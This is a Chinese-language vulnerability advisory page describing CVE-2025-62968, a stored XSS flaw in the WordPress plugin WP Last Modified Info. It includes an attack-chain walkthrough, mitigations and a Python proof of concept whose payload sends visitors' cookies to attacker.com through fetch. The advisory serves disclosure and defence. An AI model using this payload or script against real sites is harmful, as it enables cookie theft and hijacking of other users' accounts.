IPBUF安全漏洞报告
English
CVE-2025-62968 CVSS 6.5 中危

CVE-2025-62968: WordPress WP Last Modified Info插件存储型XSS漏洞

披露日期: 2025-10-27

漏洞信息

漏洞编号
CVE-2025-62968
漏洞类型
存储型XSS
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
WP Last Modified Info (WordPress插件)

相关标签

存储型XSSWordPress插件漏洞CVE-2025-62968WP Last Modified Info跨站脚本Web安全内容管理系统

漏洞概述

CVE-2025-62968是WordPress插件WP Last Modified Info中的一个存储型跨站脚本(Stored XSS)漏洞。该插件由Sayan Datta开发,主要用于在文章页面显示最后修改时间信息。漏洞源于插件在处理用户输入时未对特殊字符进行充分的过滤和转义,导致攻击者可以在文章或页面的修改时间字段中注入恶意JavaScript代码。由于是存储型XSS,恶意代码会被永久保存在服务器数据库中,当其他用户访问包含恶意内容的页面时,攻击脚本会自动执行,从而窃取用户会话cookie、劫持用户账户或进行其他恶意操作。攻击者利用此漏洞需要具有至少低权限用户身份(如作者或贡献者角色),并需要诱导管理员或访问者访问恶意页面。该漏洞影响版本从初始版本到1.9.2,CVSS评分6.5,属于中等严重程度。

技术细节

该存储型XSS漏洞存在于WP Last Modified Info插件的输入处理逻辑中。插件在获取和显示文章最后修改时间时,直接将用户可控的输入内容渲染到HTML页面,而未进行适当的输出编码。具体而言,当用户在编辑文章时,插件会读取并显示修改时间相关字段,如果攻击者在该字段中注入包含<script>标签或事件处理器(如onerror、onload)的恶意代码,这些代码会被存储在WordPress数据库的wp_posts表中。当其他用户访问该文章页面时,插件会从数据库读取包含恶意代码的内容,并直接输出到HTML响应中。由于浏览器会将存储的恶意代码作为页面的一部分执行,攻击者可以窃取受害者的认证令牌、执行任意操作或重定向用户到钓鱼站点。攻击向量为网络(AV:N),需要低权限(PR:L)认证和用户交互(UI:R),对机密性、完整性和可用性的影响均为低(C:L/I:L/A:L)。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标网站使用WordPress CMS,并确认安装了WP Last Modified Info插件版本<=1.9.2
STEP 2
2. 账户获取
攻击者通过社会工程、弱密码或其他方式获取WordPress低权限账户(如作者角色)的登录凭据
STEP 3
3. 注入恶意代码
攻击者登录后创建或编辑文章,在插件相关的修改时间字段中注入包含<script>标签或事件处理器的XSS payload
STEP 4
4. 持久化存储
恶意代码随文章内容被保存到wp_posts表或post meta中,实现持久化存储
STEP 5
5. 诱导访问
攻击者通过钓鱼邮件、社交工程等方式诱导管理员或用户访问包含恶意代码的文章页面
STEP 6
6. 代码执行
当受害者访问页面时,浏览器解析HTML内容并执行存储的恶意JavaScript代码
STEP 7
7. 窃取敏感信息
恶意脚本窃取用户cookie、会话令牌或其他敏感信息,并发送到攻击者控制的服务器
STEP 8
8. 账户劫持
攻击者利用窃取的凭证劫持受害者账户,进一步扩大攻击范围或获取管理员权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys from bs4 import BeautifulSoup # Configuration TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker" PASSWORD = "password123" # XSS payload - stored in modified date field XSS_PAYLOAD = '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>' def exploit_cve_2025_62968(): """ Exploit for CVE-2025-62968: WP Last Modified Info Stored XSS This PoC demonstrates how to inject malicious JavaScript through the plugin's input fields. """ session = requests.Session() # Step 1: Login to WordPress with low-privilege account login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/' } response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies: print("[-] Login failed") return False print("[+] Successfully logged in") # Step 2: Create or edit a post with the XSS payload in modified date field post_url = f"{TARGET_URL}/wp-admin/post-new.php" # The plugin stores the modified date in post meta post_data = { 'post_title': 'Test Post for XSS', 'content': 'This post contains XSS in modified date field', 'post_status': 'publish', '_wplm_last_modified': XSS_PAYLOAD # Plugin-specific field } response = session.post(post_url, data=post_data) if response.status_code == 200: print("[+] Malicious post created successfully") print(f"[*] Payload injected: {XSS_PAYLOAD}") print("[*] When admin or users view this post, the XSS will execute") return True return False if __name__ == "__main__": exploit_cve_2025_62968()

影响范围

WP Last Modified Info <= 1.9.2

防御指南

临时缓解措施
在官方补丁发布之前,可以采取以下临时缓解措施:1) 限制低权限用户创建或编辑文章的权限;2) 使用Web应用防火墙(WAF)规则拦截包含<script>标签或XSS特征的请求;3) 禁用或替换受影响的插件,使用替代方案显示文章修改时间;4) 实施严格的Content Security Policy,禁止内联脚本执行;5) 加强对管理员账户的安全措施,如启用双因素认证;6) 监控wp_posts表中的异常内容,特别是包含HTML标签的修改时间记录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表